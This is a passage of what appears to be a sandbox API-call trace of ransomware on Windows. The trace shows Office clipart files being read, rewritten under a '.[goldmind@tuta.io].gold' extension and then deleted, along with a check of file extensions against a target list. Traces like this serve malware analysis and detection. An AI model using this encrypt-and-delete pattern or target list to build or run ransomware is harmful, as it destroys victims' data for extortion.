(in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.041] GetLastError () returned 0x0 [0101.041] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3d40, lpOverlapped=0x0) returned 1 [0101.187] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3d50, lpOverlapped=0x0) returned 1 [0101.189] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.189] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.189] SetEndOfFile (hFile=0x3ac) returned 1 [0101.190] CloseHandle (hObject=0x3ac) returned 1 [0101.190] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.190] SetEndOfFile (hFile=0x3b8) returned 1 [0101.207] CloseHandle (hObject=0x3b8) returned 1 [0101.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0101.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.227] lstrlenW (lpString=".doc") returned 4 [0101.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.227] lstrlenW (lpString=".docx") returned 5 [0101.227] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0101.227] lstrlenW (lpString=".pdf") returned 4 [0101.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.227] lstrlenW (lpString=".xls") returned 4 [0101.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.227] lstrlenW (lpString=".xlsx") returned 5 [0101.228] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0101.228] lstrlenW (lpString=".ppt") returned 4 [0101.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".zip") returned 4 [0101.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.228] lstrlenW (lpString=".rar") returned 4 [0101.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString=".bz2") returned 4 [0101.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString=".7z") returned 3 [0101.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".dbf") returned 4 [0101.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".1cd") returned 4 [0101.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".jpg") returned 4 [0101.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".doc") returned 4 [0101.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString=".docx") returned 5 [0101.228] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0101.228] lstrlenW (lpString=".pdf") returned 4 [0101.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString=".xls") returned 4 [0101.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.228] lstrlenW (lpString=".xlsx") returned 5 [0101.228] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0101.228] lstrlenW (lpString=".ppt") returned 4 [0101.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".zip") returned 4 [0101.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.228] lstrlenW (lpString=".rar") returned 4 [0101.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString=".bz2") returned 4 [0101.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString=".7z") returned 3 [0101.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".dbf") returned 4 [0101.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".1cd") returned 4 [0101.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0101.228] lstrlenW (lpString=".jpg") returned 4 [0101.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.229] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.229] lstrlenW (lpString="J0090779.WMF") returned 12 [0101.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.229] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1456) returned 1 [0101.229] CloseHandle (hObject=0x3c0) returned 1 [0101.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0101.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.230] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.230] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.230] GetLastError () returned 0x0 [0101.230] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5b0, lpOverlapped=0x0) returned 1 [0101.245] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0101.245] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.245] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.245] SetEndOfFile (hFile=0x38c) returned 1 [0101.246] CloseHandle (hObject=0x38c) returned 1 [0101.246] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.246] SetEndOfFile (hFile=0x3c0) returned 1 [0101.247] CloseHandle (hObject=0x3c0) returned 1 [0101.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString=".doc") returned 4 [0101.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString=".docx") returned 5 [0101.291] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.291] lstrlenW (lpString=".pdf") returned 4 [0101.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString=".xls") returned 4 [0101.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.291] lstrlenW (lpString=".xlsx") returned 5 [0101.291] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.291] lstrlenW (lpString=".ppt") returned 4 [0101.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString=".zip") returned 4 [0101.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.291] lstrlenW (lpString=".rar") returned 4 [0101.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString=".bz2") returned 4 [0101.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString=".7z") returned 3 [0101.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString=".dbf") returned 4 [0101.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString=".1cd") returned 4 [0101.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString=".jpg") returned 4 [0101.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.291] lstrlenW (lpString=".doc") returned 4 [0101.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString=".docx") returned 5 [0101.291] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.291] lstrlenW (lpString=".pdf") returned 4 [0101.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.291] lstrlenW (lpString=".xls") returned 4 [0101.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.291] lstrlenW (lpString=".xlsx") returned 5 [0101.292] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.292] lstrlenW (lpString=".ppt") returned 4 [0101.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.292] lstrlenW (lpString=".zip") returned 4 [0101.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.292] lstrlenW (lpString=".rar") returned 4 [0101.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.292] lstrlenW (lpString=".bz2") returned 4 [0101.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.292] lstrlenW (lpString=".7z") returned 3 [0101.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.292] lstrlenW (lpString=".dbf") returned 4 [0101.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.292] lstrlenW (lpString=".1cd") returned 4 [0101.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0101.292] lstrlenW (lpString=".jpg") returned 4 [0101.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.292] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.292] lstrlenW (lpString="J0090783.WMF") returned 12 [0101.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.293] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6934) returned 1 [0101.293] CloseHandle (hObject=0x38c) returned 1 [0101.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0101.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.293] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.293] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.294] GetLastError () returned 0x0 [0101.294] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1b16, lpOverlapped=0x0) returned 1 [0101.301] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0101.302] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.302] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.302] SetEndOfFile (hFile=0x3ac) returned 1 [0101.302] CloseHandle (hObject=0x3ac) returned 1 [0101.303] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.303] SetEndOfFile (hFile=0x38c) returned 1 [0101.304] CloseHandle (hObject=0x38c) returned 1 [0101.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0101.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.361] lstrlenW (lpString=".doc") returned 4 [0101.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.361] lstrlenW (lpString=".docx") returned 5 [0101.361] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0101.361] lstrlenW (lpString=".pdf") returned 4 [0101.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.361] lstrlenW (lpString=".xls") returned 4 [0101.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.361] lstrlenW (lpString=".xlsx") returned 5 [0101.362] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0101.362] lstrlenW (lpString=".ppt") returned 4 [0101.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.362] lstrlenW (lpString=".zip") returned 4 [0101.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.362] lstrlenW (lpString=".rar") returned 4 [0101.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.362] lstrlenW (lpString=".bz2") returned 4 [0101.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.372] lstrlenW (lpString=".7z") returned 3 [0101.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.372] lstrlenW (lpString=".dbf") returned 4 [0101.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.378] lstrlenW (lpString=".1cd") returned 4 [0101.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.378] lstrlenW (lpString=".jpg") returned 4 [0101.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.378] lstrlenW (lpString=".doc") returned 4 [0101.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.378] lstrlenW (lpString=".docx") returned 5 [0101.378] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0101.378] lstrlenW (lpString=".pdf") returned 4 [0101.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.378] lstrlenW (lpString=".xls") returned 4 [0101.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.378] lstrlenW (lpString=".xlsx") returned 5 [0101.378] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0101.378] lstrlenW (lpString=".ppt") returned 4 [0101.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.378] lstrlenW (lpString=".zip") returned 4 [0101.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.379] lstrlenW (lpString=".rar") returned 4 [0101.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.379] lstrlenW (lpString=".bz2") returned 4 [0101.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.379] lstrlenW (lpString=".7z") returned 3 [0101.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.379] lstrlenW (lpString=".dbf") returned 4 [0101.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.379] lstrlenW (lpString=".1cd") returned 4 [0101.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0101.379] lstrlenW (lpString=".jpg") returned 4 [0101.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.379] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.379] lstrlenW (lpString="J0099151.WMF") returned 12 [0101.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.379] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=26086) returned 1 [0101.379] CloseHandle (hObject=0x3c0) returned 1 [0101.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0101.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.380] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.380] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.380] GetLastError () returned 0x0 [0101.380] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x65e6, lpOverlapped=0x0) returned 1 